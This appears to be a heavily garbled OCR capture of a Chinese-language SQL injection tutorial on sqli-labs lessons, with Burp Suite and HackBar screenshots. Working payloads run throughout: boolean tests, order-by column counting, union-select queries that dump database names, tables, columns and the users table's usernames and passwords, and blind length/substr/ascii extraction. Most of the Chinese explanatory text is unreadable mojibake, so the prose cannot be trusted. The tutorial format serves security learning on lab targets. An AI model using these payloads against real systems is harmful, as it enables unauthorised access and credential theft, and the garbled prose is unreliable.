WebiliRS &4k

—. BiffuzzE
SRIFH: MuGkgE. WSEE., (38

PIULEEIZ: DRIEIRHERE (apil’R) . BMRER, “SRIEMABPARepetertRIRHTIRIR T L+ HIFEE

575

# Burp Project Intruder Repeater View Help Sharpener
& Dashboard

eP

Target & Proxy = Repeater Collaborator Sequencer

® Intruder

& Extensions  Learn Customizer HaE Knife xiaLliao JsonpHunter AutoRepeater

1= 2
Target | 09ea304-568¢-4896-ac63-b03a68a8e2af.challenge.ctf.show | ¥ Update Host header to match target

Add §

Sniper attack

Positions Clear§  Auto §

1 GET /?token HTTP/1.1

2 Host: 409ea30:

3 Sec—Ch-U:

4 Sec—Ch-Ua—Mobi le:

5 Sec—Ch-Ua-Platform: "W

6 Upgrade-Insecure—Requests:

7 User—Agent: Mozilla/5.0 (Windows NT 10.0;
Gecko) Chrome/136.0.0.0 Safari/537.36 Edg

8 Accept:
text/html, app|
*/%.9=0. 8, app| ic

9 Sec-Fetch-Site: none

10 Sec—Fetch-Mode: navigate

11 Sec-Fetch-User: 21

12 Sec—Fetch-Dest: document

13 Accept—Encoding: deflate

14 Accept-Language:

15 Priority: u=0, i

16 Connection: keep-alive

17

indows"

Win64; x64) AppleWebKit/537.36 (KHTML,
136.0.0.0

like

catior

xhtml+xml, application/xml;q=0.9, i
tion 3 7

gned—-exchange 3| 7

br

& |2 Search 1 highlight 1 payload position Length: 775

Event log (5) Allissues (12)

BRIl M TR

# Burp Project Intruder Repeater View Help Sharpener

2 Dashboard Target & Proxy ® Intruder = Repeater Collaborator Sequencer

& Extensions  Learn Customizer HaE Knife xiaLliao JsonpHunter AutoRepeater
1= 2
Target | 09ea304-568¢-4896-ac63-b03a68a8e2af.challenge. le.show‘ ¥ Update Host header to match target

Add §

Sniper attack

Positions Clear§  Auto §

1 GET /?token

Sec—Ch-U:

4 Sec-Ch-Ua-Mobi le:

5 Sec—Ch-Ua-Platform

6 Upgrade-Insecure—Requests: 1

7 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0

8 Accept:
text/html, appl icat
ke 0=0. 8, app| ication/signed-exchange;v=b3;q=0. 7

9 Sec-Fetch-Site e

10 Sec—Fetch—-Mode

11 Sec—Fetch-User: ?1

12 Sec—Fetch-Dest: document

13 Accept—Encoding: ip, deflate, br

14 Accept-Language: zh—CN, zh;g=0.9, en;q=0. 8, en-GB;g=0. 7, en-US;g=0. 6

15 Priority: u=0, i

16 Connection: keep-al

17

dows "

like

n/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng

te

< 2 1 highlight 1 payload position Length: 775

Event log (5) Allissues (12)

fuzzRIB AR 8, FEITEFSIHRATH

- =B

4 Decoder & Comparer ©Logger & Organizer Search Settings

Payloads

Payload position: | A
Payload type: Simple list
Payload count: 0
Request count: 0

Payload configuration

This payload type lets you configure a simple list of strings tha
payloads.

Paste

jood aoinosay

Load
Remove
Clear
Deduplicate

Add Enter a new item

Add from list..

Payload processing

You can define rules to perform various processing tasks on each payload
before it is used.

Enabled ©Y @
Memory: 287.8 % @

Add

J y - o

4 Decoder & Comparer ©Logger & Organizer Search Settings

Resource pool
Use existing resource pool

Concurrent requests Requestdelay R

10

Selected Resource pool
Default resource pool

speojAed

Create new resource pool
Name:
Maximum concurrent requests:

milliseconds

Delay between requests:

sbumes

milliseconds

Automatic throttling

Memory: 287.4
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=. SQLIEA% : \<Q

SQLEGFRIUFIZD: . M. %, # \

1ARIEENGIESSE: GETIEA . POSTHEA . HeadkiEA

2ARRERRIRSSE: AEEENCBHEN) . KR A

3ARIEEEREL B! & 4
a. FRREN %Eﬁﬁ)\%ﬁ&?ﬂ?—ﬁ%ﬁ,ﬁ‘ FRE, HFUSFRIANSRANXEIET: #HFE . @
FRESIISHA, MEARLE REhEEs S ‘\

b. B+ Ak © BRSBTS, WD, FR. TWEE, URFEINER, WILUANZE \

SRS,
¢t9ri5ﬁ—¢=bm;@§wi_ ToyseE, @

SRR, vl NS > EARRAN ----> FEATRA CHLEE. %ﬂq@
PY L 4
. \

E)\ﬁ*ﬂb BERT, 98T SQLIFENKEA Url 2FLuXFHL
http://xxx.xxx.xxx/abc.php?id=xx X3 Sql ;FENRIEIMr, FEE—NHE: 1.#0mNZ Url FrsiyS$L

A@%ﬁ?& SQLIEN? (REGIEHHEMIEER) *
} FESHUSEN L8518, LA http://xoo/abeiphpid=1" WMIRNERERER, NAFE SQLIEA A 6
L 4
BRI \\ '\\

RigEmaaa:
SELECT first_name, 1 _hame FROM users WHERE user_id = '$id'
// iE: iZ;'ﬁ_Elﬁ'ﬁw A&, $id, '$id', "$id", ($id) @
a—maa@ RN, MREA: . @
o \

SELECT f1 t_name, Tast_name FROM users WHERE user_id = '1'"'

AEE%F%HH’P | SR MR TR ﬁ
.0<0 BRI @
N FEanBATH L SRR — RN AT, %ﬁU\TRﬁ“T%@
F

B VST R P TR R 8 |%M FH AR AW SCREIR RSOV, AR

0@ FENKBYHINE: REAREREA: 035 b

1': B5I5RAE, ik
"1 BEAREISRAE, S

N
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EANGHE: BERBEERAN (BRE. TERE)

EdRERES

ERAERERYHRES
SELECT username,password FROM users WHERE id = "1""

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version

for the right syntax to use near '1'' at line 1

> near '1'"' at line 1

PN BEERT R

EFINESQLEVES|S, BF "1 , FREBCHMEA 17 BJHIEE ) WEIS
B FREEN

B, BT "1 BREBCHEA 1 AR $5|S B9 5

'1'" at line NFEESQL, BF id = ' BELSEAS, FiLEHE 1* RiAZ HANIE
A, FTLURTERTE 1

1LEXSE@IEA
MR EREISQUENE—
AR RAISQUAT—LE 1t 7 SHEFTEN

STFEMNEANNREDBR: MAEAA -5 SN ——-—> HBRPH -—--> WE SR ---
-> R

—. HTHHRREFEEN

FA' (P515) HE" (WE|S) KHrEAFERE, NRHIMSQLUETEIRNIBERANMREEE
PGl

BRiRERAISQLIBET ),

SELECT)fist_name, Tast_name FROM users WHERE user_id = '$id"
HERMNETEBN, BRI ESEERELSIdXNTE, IISQLEmETA:

SELECT first_name, last_name FROM users WHERE user_id = '1'

HHRREM SRR IETHRE 1d=1 X MFRAEMT (ICFR), T8 Togin name . password EfJHE, 7ERIR
NSRRI
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Welcome
Your Login name:Dumb
Your Password:Dumb

R [0 7F Bee BRERE RS BE AT W8 BUSRS  lghthowe BRE  HackBar % Requestly 01B § i X
LOAD ~ SPLIT EXECUTE TEST- SQLI~ XSS~ LFI~ SSRF~ SSTI~ SHELL~ ENCODING -  HASHING -  CUSTOM -~ MODE - THEME ~

URL
http://127.0.8.1/sql/Less-1/?id=1

@™ Use POST method MODIFY HEADER

HidEN 1 AR, FRiRSQUEGMENT :

SELECT first_name,slastiname FROM users WHERE user_id = '"1''

ALERIZT —NES|IS, EABSISANE, NakiE. E/96es EEERETRES, <BAFREFLL
MREEIRRHTIERR, RPFERR

Welcome
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1" LIMIT 0,1" at line 1

K [0 7 Bee BRESE S 4R AT W8 BRSRS  lghthowe RS % Request Bl @ i x
LOAD ~ SPLIT  EXECUTE TEST~  SQLI~ XSS~ LFI~  SSRF~ SHELL~  ENCODING ~  HASHING ~  CUSTOM - MODE ~  THEME ~

URL
http://127.0.8.1/sql/Less-1/2id=1"

@™ Use POST method MODIFY HEADER

Name

Upgrade-Insecure-Requests

=, FEmENSE

FIRTENSRRHFEAREME, XEREEEANNIESEETERNERS|S, TLMEM: Tand
1=1. 1 and 1=2F@1"%and '1'='1. 1' and '1'='"2 #{THIET(ERHEE)

A1 and =101 and 1=2NEAEEEER
Welcome

Your Login name:Dumb
Your Password:Dumb

R [0 7% Sws BRBSE FE 4 AF KA BUASRS  lghthowe IBR®  HackBar % Requestly

LOAD ~ SPLIT EXECUTE TEST- SQLI- XSS~ LFI~ SSRF-  SSTI~ SHELL~  ENCODING ~ HASHING -  CUSTOM -

URL
http://127.0.0.1/sql/Less-1/2id::1 and 1=1

@™ Use POST method MODIFY HEADER

Name Value
Upgrade-Insecure-Requests 1

Name Value

User-Agent ~ Mozilla/5.8 (Windows NT 10.8; Win64;




Welcome
Your Login name:Dumb
Your Password:Dumb

K [0 7k sws BREAE A 4B AF U BIUSEE  lghthouse GR®  HackBar % Requestly
LOAD ~ SPLIT EXECUTE TEST~ SQLI~ XSS~ LFl~ SSRF~ SSTI~ SHELL~  ENCODING -  HASHING -  CUSTOM -

UL
http://127.0.8.1/sql/Less-1/?id=1 and 1=2

@™ Use POST method MODIFY HEADER

Name
Upgrade-Insecure-Requests

Name

User-Agent

Name

R A

A 1 and 1=2t058 B S [ 5 2

A B T My SQLIES A i e, T ok Utk 2
'2admin' ==>2

'admin'==>0

'33admin==>33

P @

MODE ~  THEME -|

Value

-1

Valve

~ Mozilla/5.8 (Windows NT 16.0; Win64; x64) A X

Value

IEH ARG AL B 7 B 747280, B SILREMN A EMET —F, Ttl andgd=2, ----> 1

WAL and '1'='1F01' a
E AT LAS R ENSEE A5 E

Welcome
Your Login name:Dumb
Your Password:Dumb

R0 o mMe BRBAE RE 6 AT BB BUSE lighthouse JGR@  HackBar % ly

LOAD ~ SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~
URL

http://127.0.8.1/sql/Less-1/2id=1" and '1'="1

@™ Use POST method MODIFY HEADER

Name
Upgrade-Insecure-Requests

Name

User-Agent

Welcome

R [0 7% #Me BREAE FE 8 AF B8 BUASEE  Llghthowse RS 3 ly

LOAD ~ SPLIT EXECUTE TEST~ SQLI~ XSS~ LFI~ SSRF~ SSTI~ SHELL~ ENCODING ~  HASHING -  CUSTOM -

URL
http://127.0.8.1/sql/Less-1/?id=1" and '1*

@™ Use POST method MODIFY HEADER

Name

Upgrade-Insecure-Requests

Name

User-Agent

nd '1'="2 iR, BIEERER, FEAET, RPH5|ISEERT,

B @ :

MODE ~  THEME ~

Value

-1

Value

~ Mozilla/5.8 (Windows NT 10.8; Win64; x64) A X

B @ i ox

MODE ~  THEME ~

Value

-1

Value

~ Mozilla/5.@ (Windows NT 10.0; Win64; x64) A X




A B LT 32 HRaT DL A N R 2 T 2

1. YHPHAL and 1=1KF, SQLIEAJASRL T :

SELECT first_name, last_name FROM users WHERE user_id ='1l and 1=1' , sZfr bi&aif
ks 1"

2. MHPEAL and 1=2K}, SQLIEAJATHL T :
SELECT first_name, last_name FROM users WHERE useér_4d ='l and 1=2' , SZPr Fm&AH
fadse" 1!

3. Y MALY and "1'="1K, SQLIEAJARL T -
SELECT first_name, last_name FROM users WHERE user_id ='1l' and '1'='1l" , szfp %
HHKZuser_id ="1"JFH'"1'="1"

4. ML and '1'="21, SQLIEAIATH T -

SELECT first_name, last.name FROM users WHERE user_id ='1l"' and '1'='2" , Sufr l&E&%
i Ruser_id =" H™ ="2" FN1=2AR0L, FrllBEFE WA AL, PRI aT DLNE sk 6l
TR T sq 15 A A AL 5 20

(3) AR5

AT HEEEEBREEE, FESCAETINRPETIFREL, ALERorderby (BT RIEREERS!
XIEEREFTHERF. ZHorder byAUEIF AT HRIRIFIEEHERI SIRIE, SQUEAFIRIX MFIERFIRTS!
) RHTHMR

MEINT order by 5 —-+Bf, BRFRKFIAIFIEL

Welcome
Unknown column 5" in ‘order clause’

[0 nix oea BREMARR ME 8 AT BB Blsse Lighthouse  CR® HackBar % Requestly

DAD ~ SPLIT  EXECUTE TEST~ SQLI~ XSS+ LFI~ SSRF~ SSTI~ SHELL~  ENCODING~  HASHING v  CUSTOM ~

L
tp://127.0.0.1/sql/Less-1/?1d=1" order by 5 --4
Use POST method MODIFY HEADER

Name Value

M sec-ch-ua ~ “"Chromium”;v="136", “"Google Chrome" |

70

LN order by 3 -+0F, B/RIEE, REAFIERHNRE=7!



Welcome
Your Login name:Dumb

Your Password:Dumb

K [0 7% BHe BREAKE RS ME AT @8 BUSES  lghthowe DRE _HockBar % Requestly BB ;X
LOAD ~ SPLIT EXECUTE TEST ~ sqLl ~ XSS ~ LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~ THEME ~
URL
http://127.0.8.1/sql/Less-1/2id=1" order by 3 --+
@™ Use POST method MODIFY HEADER

sec-ch-ua ~ "Chromium";v="136", "Google Chrome";v="136" X

Name
sec-ch-ua-mobile

——+8E [ T# (%23) HUEERMERE, ROV TR SQUIE RIS I 2 AR 5| SR

(4) BERFL

E—PIEHIEEDE, RSHHITSQUEGEIASIEEFRIZIE, ERiRFSERNMERET, XNME
TRERAIRIE RIS/, UNIONIRERFETaHMNEKS 1 SELECT iBTRISES, UNIONEREF
5B R RFTFTUNIONFSE— SELECT iEQRI%I%, FFEUNION [§3BH SELECT iE9w/lifa1ER
HERF. FIENITUREREIESEE. Y, &5 SELECT IBaFH9%IIREVER

BN -1'union select 1,2,3--+0f, JLARIRAEEIEARNEF T, REXEMIEETLAEREL
=

Welcome
Your Login name:2
Your Password:3

[0 7% BHe BREKR RS 8 BF W8 BGMSSS  lghtowe 0B _Hacklar % Requestly BB x

LOAD ~ SPLIT EXECUTE TEST~  SQLI~ XSS~ ~ SSRF~  SSTI~  SHELL~ ENCODING -  HASHING -  CUSTOM - MODE - THEME ~

uRL
http://127.0.8.1/sql/Less-1/?id=-1"union select 1,2,3--+

(@™ Use POST method MODIFY HEADER

Name Value
sec-ch-ua ~ “"Chromium”;v="136", "Google Chrome";v="136" X

T B S LUk - 17
FESEA R — A E HunionZE UK AR, X2 RIS P e B A I ol R X B REE IS — AT 8cdii, A

REALE—ATENNERET S, Hunionkilfiselect FAIE WL RN, Maunionfiif&#ZE R AR
FUSON T AT, TEEMTTE 1. Frlikuni onZeild 25 A Bl ] DURREL O 5 80 BoN BEBOR O 87

(5) IRENERERER AR &ERERR A

AERENE EERBEIEEZREUH TR, BN -1' union select
1,version(),database()--+ 1BEIXIRER : ‘security hxa<: 5.5.53



Welcome
Your Login name:5.5.53
Your Password:security

TE BMa BRBRE RS 4 AF NA BhSRe Lighthouse  BRZ HackBar % Requestly Bl @ i X
~ SPLIT EXECUTE TEST ~ sqLl -~ XSS ~ LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~ THEME ~
http://127.0.0.1/sq1/Less-1/2id=-1" union select 1,version(),database()--+

@™ Use POST method MODIFY HEADER

~ “Chromium”;v="136", "Google Chrome";v="136" X

value
sec-ch-ua-mobile - 20 x

(6) SRENEHEREEPRIRE

BN -1' union sel@ct 1,2,table_name from information_schema.tables where

table_schema='security'--+ fBEIXINZFK: emails

Welcome
Your Login name:2
Your Password:emails

K [0 7k swe BREAE RS 48 AF S8 BNSRg ighthy a3 B @ x

LOAD ~ SPLIT  EXECUTE TEST~  SQLI~ - - ~ SSTI~  SHELL~  ENCODING -  HASHING -  CUSTOM ~ MODE ~  THEME ~

URL
http://127.0.0.1/sql/Less-1/2id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+

@™ Use POST method MODIFY HEADER

Name Value
sec-ch-ua ~ “Chromium";v="136", "Google Chrome";v="136" X
Name

sec-ch-ua-mobile

Name

XEEARIE S RLETFR R ER RS
FEA AT LA 3k~ database()

T WG SR, BT DUMER X MR N R R B

TEER TR :
BRLZERFRERR

I -1'"Uhiony select 1,2,group_concat(table_name) from informationischema.tables

where tablelschema='security'--+ 1BZEIXJNERSE: emails,referers,uagents,users



Welcome
Your Login name:2
Your Password:emails,referers,uagents,users

[0 7= ®sls BREAE ME #8 AF 8 BlsRe Lighthouse  CR= HackBar % Requestly Bl @ X
OAD =~ SPLIT EXECUTE TEST ~ sqQLl ~ XSS ~ LFl ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~ THEME ~
b
ttp://127.0.0.1/5q1/Less-1/2id=-1"union select 1,2,group_concat(table_name) from information schema.tables where table_schema='security’--+
Use POST method MODIFY HEADER

Name Value

sec-ch-ua “Chromium® ;v="136", "Google Chrome";v="136" X
Name Value

sec-ch-ua-mobile 20 x

Name Value

information_schema. tablles#® /R ZAHEE N tables®, KR T —%

where/gii& %, groupSeencat ) &4 2 it B4k ik feidok WA Hgroup_concat i
emails

15 A B B2 BT nformation_schemaZitdfi & T [ tables 3k H il Htable_schema= B 7k
securityfIJif tabTe_namef) N &

(7) FREVRPHIFERR

HIN -1" union select 1,2,column_name from informationischema.columns where

table_name="emails' and table_schema=database OF-+y BE|=FEZ%: id

Welcome
Your Login name:2
Your Password:id

R [0 ok =ue BARE RS B AF R RASEE  lighthouse BRE  HackBar uest Bl @ i x

LOAD ~ SPLIT  EXECUTE TEST~ SQLI~ XSS~ LFI~ SSRF~ SSTI~  SHELL~ ENCODING ~  HASHING ~  CUSTOM - MODE ~  THEME ~

URL

http://127.0.0.1/sql/Less-1/?id=-1" union select 1,2,column_name from information_schema.columns where table_name='emails’' and table_schema=database()--+

@™ Use POST method MODIFY HEADER

Name Valve
sec-ch-ua ~ "Chromium";v="136", "Google Chrome";v="136" X

Valve
sec-ch-ua-mobile ) x

BT :
IREFFENFERE

BidsqiEaEaMESREEEENN R, RiERSENEEARNKAFIZEEEusersRH BTk
M BEZEF THFRBLURAS
IN -1'"union select 1,2,group_concat(columfi_hame) from information_schema.columns

where table_name='users'--+ {BRIXTNEEBFERLS:

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password



Welcome
Your Login name:2
Your Password:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

R [B 7 ©¥e BREMARS S 82 AF B8 BUSEE  lghthowse BRE  HackBar % Requestly o181 @ i X
LOAD ~ SPLIT  EXECUTE TEST~ SQLI~ XSS~ LFI~ SSRF~ SSTI~ SHELL~ ENCODING ~  HASHING -  CUSTOM -~ MODE ~  THEME ~

URL

http://127.0.0.1/sql/Less-1/?id=-1"union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
@™ Use POST method MODIFY HEADER
romium”;v="136", "Google Chrome";v="136" X

ec-ch-ua-mobile x

Name

sec-ch-ua-platform ~ "Windows"

Z%iEA) I R A nformation_schemaZitdi % T columns £ Bl Htable_users s BN &L usensf)
i column_name e St x table_nameZ B A2 H A7 E T tables®, WEfFfEcolumnsEd __KIREA
TR M 4

(8) FENZ=FERPHIFIBRA
LA ERN R R R usernameflpassword, 3 N REA I B S EIZZ R NAAE

N -1' union select 1,2,group_concat(username ,id , password) from users--+ J@IIH

IBERRidRILRAMEAFASIREL

Welcome
Your Login name:2
Your Password:Dumb1Dumb,Angelina2I-kill-
you,Dummy3p@ssword,secure4crappy,stupid5stupidity,supermanégenious,batman7mob!le,admin8admin,admin19admin1,admin210admin2,admin311admin3,dhakka

« 3
K [0 7 #Me BREMAR RS 8 A% B8 BUSRE  Llghthowse GRM  HackBar % Requestly 018§ i X

LOAD ~ SPLIT EXECUTE TEST~ SQLI~ XSS~ LFI~ SSRF~ SSTI~ SHELL~  ENCODING ~  HASHING -  CUSTOM ~ MODE ~  THEME ~

URL

http://127.0.8.1/sql/Less-1/2id=-1" union select 1,2,group_concat(username ,id , password) from users--+

@™ Use POST method MODIFY HEADER

Name 3
sec-ch-ua romium”;v="136", "Google Chrome";v="136" X

sec-ch-ua-mobile x

Name

2.5

EIMELBMNETRHEEREIEEHITITE, FRERMEIREYERERIREIERE], LA
HREEAEZT AT, WALFEAEE

1.H/REFE

SNERIERHAT T BFHEIERT SQLIES), MIRE—FIRE; 2R SQLIETHITEIR, NHITH—MIE
ETIFIIE, kHMT SQUIERIERSE, AEEABEIERRR


af://n129

ENTRR:

. FIWTRBAAAEEAN
- BRI R
- BTN R A
. R SR

O 00 N O v A W N PR

. FEREARAKE
BT RRR A

. TR A e

. TEIEEAFIA K

. BTSERSI4

10. HWr i dcE
11. JEMRREFEIR K
12. BRSSO

R

database() BoREHR PR AR

Tefta,b) M H a T b Ay
substra,b,c) MbiiE i, HIFERFHarcksE
mid(a,b,c MALEbIFs, A azFF B chr
Tength IR 5] 275 R A

Ascii PR TR hasci i
char FEASCIIRL L 45 A5 N 1K 777

—. BTHERREEFEEN

By —f&MiHL and 1=1. 1 and 1=2f11" and '1'="1. 1' and '1'='2#:4THI;

—RHELCERL ESRt THIMTRE B RARIEAARIERR, EAFERNBEFEEN
HEA L' and '1'S QML WEIERSALER, TREHIERE, FELFBTATEEENEFE

Welcome

ces  Network Performance  Memory  Application  Lighthouse  Recorder _HackBar | Requestly 0181 | @ : X

~ SPLIT  EXECUTE TEST-~ SQLI~ XSS~ LFI~ SSRF~  SSTI~  SHELL~  ENCODING -  HASHING -  CUSTOM - MODE - THEME ~

JuRL
http://127.0.0.1/sqli-labs/Less-8/?id=1" and '1'='2|

|@™ Use POST method MODIFY HEADER

-ade-Insecure-Requests
Name
User-Agent ~ Mozilla/5.@ (Windows NT 16.0; Win64; x64) A X

me Value
Accept ~ text/html,application/xhtml+xml,application X




=, IREVERREER
(1) SREVEKE
{ERlength() (lengthOFBTHIMTFRIERKE) HHTHIMT, AEZGINT:

1' and length(database())>5--+ //i#ildatabaseSRBREIEEE 4%, IFXF B8 E 42 i R HEAT 7 2 15
KERTS, QRN SN e 2 s G 0 DU, e KT 50 IE 4 [A] 4.

Welcome
You are in...........

K [0 Hements Console Sources Network Perk Memory  Application Lighthouse  Recorder _HackBar % Requestly @181 @ ¢ X
LOAD - SPLIT  EXECUTE TEST-  SQLI~ XSS~ LFl- SSRF~ SSTI~  SHELL~  ENCODING ~  HASHING ~  CUSTOM ~ MODE - THEME ~

URL
http://127.0.0.1/sqli-labs/Less-8/?id=1" and length(database())>5--4

@™ Use POST method MODIFY HEADER

Upgrade-Insecure-Requests - x
Name value

User-Agent ~ Mozilla/5.8 (Windows NT 16.0; Win64; x64) A X
Name

sive
Accept ~ text/html,application/xhtml+xml,application X

Name Value

(2) 3REUER

EF3substr(EREUHITFRTEREL. substr(string, start, Jength)EENFRTE, string EEHIEIF
588, start ENEMIEFR, length EEBEHSE, VIR, ZREE3NSEHFEmysqlFaistart
MIFFERET)

~EE0T
BECER E 44 3 — A5, %iAl' and subsikr(database(),1,1)="r'--+
// H—fidatabase N IX B EL 8B FR R, B M E IR NI B R A I LA

TAF, =AU LA AT L

R MFE—B (R INNF 2R E B R EE M EE T RIERHFR, NMEZIcEa0EE
&

Welcome

R o ory n ec HackBar % 01B1 @ i X

LOAD ~ SPLIT  EXECUTE TEST~  SQLI~ - ~ SSRF-  SSTI~  SHELL~  ENCODING ~  HASHING -  CUSTOM -~ MODE - THEME ~

URL
http://127.0.0.1/sqli-labs/Less-8/?id=1" and substr(database(),0,1)="r'--+
@™ Use POST method MODIFY HEADER

Name Value
Upgrade-Insecure-Requests -1 x

Nam Value

User-Agent ~ Mozilla/5.8 (Windows NT 10.0; Win6d; x64) A X

xt/html, application/xhtml+xml,application X

=. RENRR



1) SREGRAVELE

HFLEEEREZDINER, ATEATER, FRATLSSREEENEE, TLMERcount()REGHTIR
BY

countRITEIBRFPERNCRITNEE, SERETOERERETIFES9EUET
N
BiIN 1' and (select count(table_name)sfromW¥information_schema.tables where

table_schema=database())=2--+ YL RE PV 2E ERIE R UM, B B A EdE E A1k — AN Bk
®

Welcome

K [0 | Elements Console Sources Network Performance Memon ication  Lighths order _HackBar_ % Requestly B @ X
LOAD - SPLIT  EXECUTE  TEST - - - - SSRF~  SSTI~  SHELL-  ENCODING ~  HASHING -  CUSTOM ~ MODE ~  THEME ~
URL

http://127.6.8.1/sqli-labs/Less-8/?id=1" and (select count(table_name) from information_schema.tables where table_schema=database())=2--+

@™ Use POST method MODIFY HEADER

o Value

Upgrade-Insecure-Requests -1 x
Name value

User-Agent ~ Mozilla/5.@ (Windows NT 10.8; Win6d; x64) A X

(2) SREGRAIKE

BT ABREBEMIILNE, FrLiESlimitR ek 1T¥Uﬂfﬁ%—/\$%%_/\%%—:, BIMERTTIEN:
Timit 0,1 /5ERI0 N FRAF—MEFRILRESR, F_IEFR/UTHEE, BEHAE—THEEIE
B, BEET SRR THRE NSRS, WU!ID Timit 1,1 NZFIBTSE KRS

5

SRV —NERLZHKE, WAl Yand length((select table_name from
information_schemaftables \where table_schema=database() Timit 0,1))="6"-—+4i, S&

DT [ S 1E 75 00 I TR 5 B S — AR A4 KNG RS IER, KR

Welcome
You are in...........

% [0 | Eemer etwor ory  Applicatio order _HackBar questly 2@ ;X

LOAD -~ SPLIT  EXECUTE TEST-  SQLI~ XSS~ LFI~ SSRF~  SSTI~  SHELL~  ENCODING -  HASHING -  CUSTOM -~ MODE - THEME ~

URL
http://127.08.8.1/sqli-labs/Less-8/?id=1" and length((select table_name from information_schema.tables where table_schema=database() limit ©,1))="6"--+

@® Use POST method MODIFY HEADER

W
Upgrade-Insecure-Requests x

Name
User-Agent ~ Mozilla/5.8 (Windows NT 10.0; Win64; x64) A X

Vaiue
Accept ~ text/html,application/xhtml+xml,application X

Name Value

X



(3) RENEMAERS
LENERRSIRII NN F G LAFERsubstrOBRECRIFE T, substr(REEMAFERNT:

SUBSTR(string, start, length

string: ZAFRFATH

start: JHAMIE GEIBMHERZEL) ----> —ES SR NEET A b3 Bk 4
Tength: #HUMKSE

N

REUE DR TFHE DT, 4L and substr((select table_name from
information_schema.tables where table_schema=database() Timit 0,1),1,1)="e'--
B, #5 UL (B E AR DL oS vl B 5 — A~ hE e

SRR — AR FEE 7R, M AN1" and substr((select table_name from
information_schema.tables where table_schema=database Timit 0,1) #291)='m'--

A, it ] S 15 DL IR D50 B 2 — A R Em

Welcome
You are in.........

R 3| Eem rces Network Perfo emory HackBar_ % Requestly
LOAD - SPLIT  EXECUTE  TEST-  sQLI~ - - SSRF-  SSTI~  SHELL~  ENCODING -  HASHING -  CUSTOM -

URL

http://127.0.08.1/sqli-labs/Less-8/?id=1" and substr((select table_name from information_schema.tables where table_schema=database() limit ,1),1,1)="e'-
@™ Use POST method MODIFY HEADER

Name
Upgrade-Insecure-Requests

r-Agent 1a/5.8 (Windows NT 10.8; Win64; x64) A

Name

Accept html, application/xhtml+xml,application

Name value
Sec-Fetch-Site ~ same-origin

Welcome
You are in

e Network Performance Memory Application Lighthouse  Recorder _HackBar % Requestly 2@ X

LOAD - SPLIT  EXECUTE TEST-~ SQLI~ XSS~ LFI- SSRF~  SSTI~  SHELL-  ENCODING -  HASHING -  CUSTOM - MODE - THEME ~

URL
http://127.8.8.1/sqli-labs/Less-8/2id=1" and substr((select table_name from information_schema.tables where table_schema=database() limit 8,1),2,1)='m'--+

@™ Use POST method MODIFY HEADER

Name value

Upgrade-Insecure-Requests -1 x
Name vatue

User-Agent ~ Mozilla/5.0 (Windows NT 10.0; Win64; x64) A X

i

B
(RIS B substrAF# T BAF AT =T LB LA 74 -

113



BiTascii(RECRIAHTERZFIMMER= R AE—, tEREVIREIZFRTAIASCURD, ascii()EREIEMER
T

BEL EE—f5ERALE, BiftlttasdiRBEERINE, EYLEREHTHETLAsubstr()REFREN
HRH=FHRIASCIEE RS >

N

KRB — DR TFHE DT, Sl and ascii@substr((select table_name from
information_schema.tables where tablesmschema=database() Timit 0,1),1,1))>100--+
B, 5 UL (B R 1 G o ik e D i B BE - A5 iga s cvi A2 K 1100

HE FasciiRBUa R DEHZ M SRl = > <

REUH — DN ERLGFERE - AFRE, 4% AL and ascii(substr((select table_name from
information_schema.tables where table_schema=database Timit 0,1),2,1))=109-&+
A, 5 LT [R] Jk T 4% Ve JC M WU 15 B Bt 7 A i as ¢ 1 A% 1109

Welcome
You are in...........

N T rces  Network Performance  Memory lication: Recorder  HackBar % Requestly
LOAD ~ SPLIT EXECUTE TEST ~ sQLl ~ = = SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~

RL

http://127.0.8.1/sqli-labs/Less-8/?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit ©,1),1,1))>160--+
@™ Use POST method MODIFY HEADER

Name
Upgrade-Insecure-Requests

User-Agent i1la/5.0 (Windows NT 10.0; Win64; x64) A X

Value

Nam
Accept text/html, application/xhtml+xml,application X

Name Value

Welcome
You are in...........

vy Application  Lightho HackBar % Requestly

~ SPLIT  EXECUTE TEST-  SQLI~ XSS~ LFI~ SSRF~  SSTI~  SHELL~ ENCODING - HASHING~  CUSTOM -

http://127.8.8.1/sqli-labs/Less-8/?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 8,1),2,1))=109--+

@™ Use POST method MODIFY HEADER

Name
Upgrade-Insecure-Requests &

Name Value
User-Agent ~ Mozilla/5.8 (Windows NT 10.0; Win64; x64) A X

Name

Accept ~ text/html,application/xhtml+xml,application X

M. IRENFERE
(1) KEENFRPESDS
{EF count()EREHITHIMTLERE S/ DFIEL



$KHlguestbookE AL, HHiA1l"' and (select count(column_name), Faom
information_schema.columns where table_name="emails" and tablenschema=database())
<3——+WF, DU [A] 5k 1 O TS W B emai 1s R T B 2N 35

Welcome
You are in.........

R e o ol @ 6

LOAD -~ SPLIT  EXECUTE  TEST-  SQLI~ - ~ SSRF-  SSTI~  SHELL~  ENCODING ~  HASHING -  CUSTOM - MODE - THEME ~
URL

http://127.0.0.1/sqli-labs/Less-8/?id=1" and (select count(column_name) from information_schema.columns where table name="emails" and table_schema=database())<3--+

@™ Use POST method MODIFY HEADER

Upgrade-Insecure-Requests x
Name alve

User-Agent Mozilla/5.0 (Windows NT 10.8; Wint4; x64) A X
Name vatue

Accept text/html, application/xhtml+xml,application X

Name Value

(2) FBHIERIIKE
ERRlimiteREILAR length R EHI T, SERImitRIEHRIE— IR E =15

